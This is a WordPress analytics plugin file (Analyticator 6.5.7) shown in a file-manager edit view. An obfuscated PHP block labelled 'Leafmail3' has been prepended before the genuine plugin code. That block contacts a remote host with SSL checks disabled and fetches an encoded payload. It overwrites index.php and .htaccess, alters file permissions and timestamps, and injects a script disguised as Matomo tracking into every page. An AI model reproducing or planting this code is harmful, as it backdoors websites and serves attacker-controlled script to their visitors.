trAvis - MANAGER
Edit File: google-analyticator.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /* * Plugin Name: Analyticator * Version: 6.5.7 * Plugin URI: http://www.videousermanuals.com/google-analyticator/?utm_campaign=analyticator&utm_medium=plugin&utm_source=readme-txt * Description: Adds the necessary JavaScript code to enable <a href="http://www.google.com/analytics/">Google's Analytics</a>. After enabling this plugin you need to authenticate with Google, then select your domain and you're set. * Author: SumoMe * Author URI: https://appsumo.com/tools/wordpress/?utm_source=sumo&utm_medium=wp-widget&utm_campaign=google-analyticator * Text Domain: google-analyticator */ //error_reporting(E_ALL); //ini_set('display_errors', '1'); define('GOOGLE_ANALYTICATOR_VERSION', '6.5.7'); define('GOOGLE_ANALYTICATOR_CLIENTID', '1007949979410.apps.googleusercontent.com'); define('GOOGLE_ANALYTICATOR_CLIENTSECRET', 'q06U41XDXtzaXD14E-KO1hti'); //don't worry - this don't need to be secret in our case define('GOOGLE_ANALYTICATOR_REDIRECT', 'urn:ietf:wg:oauth:2.0:oob'); define('GOOGLE_ANALYTICATOR_SCOPE', 'https://www.googleapis.com/auth/analytics');//.readonly // Constants for enabled/disabled state define("ga_enabled", "enabled"); define("ga_disabled", "disabled"); // Defaults, etc. define("key_ga_uid", "ga_uid"); define("key_ga_status", "ga_status"); define("key_ga_disable_gasites", "ga_disable_gasites"); define("key_ga_analytic_snippet", "ga_analytic_snippet"); define("key_ga_admin", "ga_admin_status"); define("key_ga_admin_disable", "ga_admin_disable"); define("key_ga_admin_disable_DimentionIndex", "ga_admin_disable_DimentionIndex"); define("key_ga_remarketing", 'ga_enable_remarketing'); define("key_ga_track_login", "key_ga_track_login"); define("key_ga_show_ad", "key_ga_show_ad"); define("key_ga_admin_role", "ga_admin_role"); define("key_ga_dashboard_role", "ga_dashboard_role"); define("key_ga_adsense", "ga_adsense"); define("key_ga_extra", "ga_extra"); define("key_ga_extra_after", "ga_extra_after"); define("key_ga_event", "ga_event"); define("key_ga_outbound", "ga_outbound"); define("key_ga_outbound_prefix", "ga_outbound_prefix"); define("key_ga_enhanced_link_attr", "ga_enhanced_link_attr"); define("key_ga_downloads", "ga_downloads"); define("key_ga_downloads_prefix", "ga_downloads_prefix"); define("key_ga_widgets", "ga_widgets"); define("key_ga_annon", "ga_annon"); define("ga_uid_default", "UA-XXXXXXXX-X"); define("ga_google_token_default", ""); define("ga_disable_gasites_default", ga_disabled); define("ga_analytic_snippet_default", ga_disabled); define("ga_status_default", ga_disabled); define("ga_admin_default", ga_enabled); define("ga_admin_disable_DimentionIndex_default", ""); define("ga_admin_disable_default", 'remove'); define("ga_adsense_default", ""); define("ga_extra_default", ""); define("ga_extra_after_default", ""); define("ga_event_default", ga_enabled); define("ga_outbound_default", ga_enabled); define("ga_outbound_prefix_default", 'outgoing'); define("ga_enhanced_link_attr_default", ga_disabled); define("ga_downloads_default", ""); define("ga_downloads_prefix_default", "download"); define("ga_widgets_default", ga_enabled); // Create the default key and status add_option( 'ga_version', GOOGLE_ANALYTICATOR_VERSION ); add_option(key_ga_status, ga_status_default, ''); add_option(key_ga_disable_gasites, ga_disable_gasites_default, ''); add_option(key_ga_analytic_snippet, ga_analytic_snippet_default, ''); add_option(key_ga_uid, ga_uid_default, ''); add_option(key_ga_admin, ga_admin_default, ''); add_option(key_ga_admin_disable_DimentionIndex, ga_admin_disable_DimentionIndex_default, ''); add_option(key_ga_admin_disable, ga_admin_disable_default, ''); add_option(key_ga_admin_role, array('administrator'), ''); add_option(key_ga_dashboard_role, array('administrator'), ''); add_option(key_ga_show_ad, '1' ); add_option(key_ga_adsense, ga_adsense_default, ''); add_option(key_ga_extra, ga_extra_default, ''); add_option(key_ga_extra_after, ga_extra_after_default, ''); add_option(key_ga_event, ga_event_default, ''); add_option(key_ga_outbound, ga_outbound_default, ''); add_option(key_ga_outbound_prefix, ga_outbound_prefix_default, ''); add_option(key_ga_enhanced_link_attr, ga_enhanced_link_attr_default, ''); add_option(key_ga_downloads, ga_downloads_default, ''); add_option(key_ga_downloads_prefix, ga_downloads_prefix_default, ''); add_option(key_ga_widgets, ga_widgets_default, ''); add_option(key_ga_annon, false ); add_option('ga_defaults', 'yes' ); add_option('ga_google_token', '', ''); $useAuth = ( get_option( 'ga_google_token' ) == '' ? false : true ); # Check if we have a version of WordPress greater than 2.8 if ( function_exists('register_widget') ) { # Check if widgets are enabled and the auth has been set! if ( get_option(key_ga_widgets) == 'enabled' && $useAuth ) { # Include Google Analytics Stats widget require_once('google-analytics-stats-widget.php'); # Include the Google Analytics Summary widget require_once('google-analytics-summary-widget.php'); $google_analytics_summary = new GoogleAnalyticsSummary(); } } // Create a option page for settings add_action('admin_init', 'ga_admin_init'); add_action('init', "ganalyticator_stats_init"); add_action('admin_menu', 'add_ga_option_page'); function ganalyticator_stats_init(){ require_once('class.analytics.stats.php'); do_action("gapro_init"); } // Initialize the options function ga_admin_init() { ga_get_active_addons(); # Load the localization information $plugin_dir = basename(dirname(__FILE__)); load_plugin_textdomain('google-analyticator', 'wp-content/plugins/' . $plugin_dir . '/localizations', $plugin_dir . '/localizations'); google_analyticator_handle_external_redirects(); wp_enqueue_script('google-analyticator-admin',plugin_dir_url( __FILE__ ). 'scripts/google-analyticator-scripts.js',array('jquery')); wp_enqueue_style('google-analyticator-admin-style',plugin_dir_url( __FILE__ ).'styles/google-analyticator-style-common.css', array(), '3.1.1'); } function google_analyticator_handle_external_redirects() { if ( empty( $_GET['page'] ) ) { return; } if ( 'google_analyticator_go_appsumo_pro' === $_GET['page'] ) { wp_redirect( ( 'https://appsumo.com/tools/wordpress/?utm_source=sumo&utm_medium=wp-widget&utm_campaign=google-analyticator' ) ); die; } } # Add the core Google Analytics script, with a high priority to ensure last script for async tracking add_action('wp_head', 'add_google_analytics',99); // ONly track WP login if requested. if( get_option( key_ga_track_login ) ) add_action('login_head', 'add_google_analytics', 99); # Initialize outbound link tracking add_action('init', 'ga_outgoing_links'); 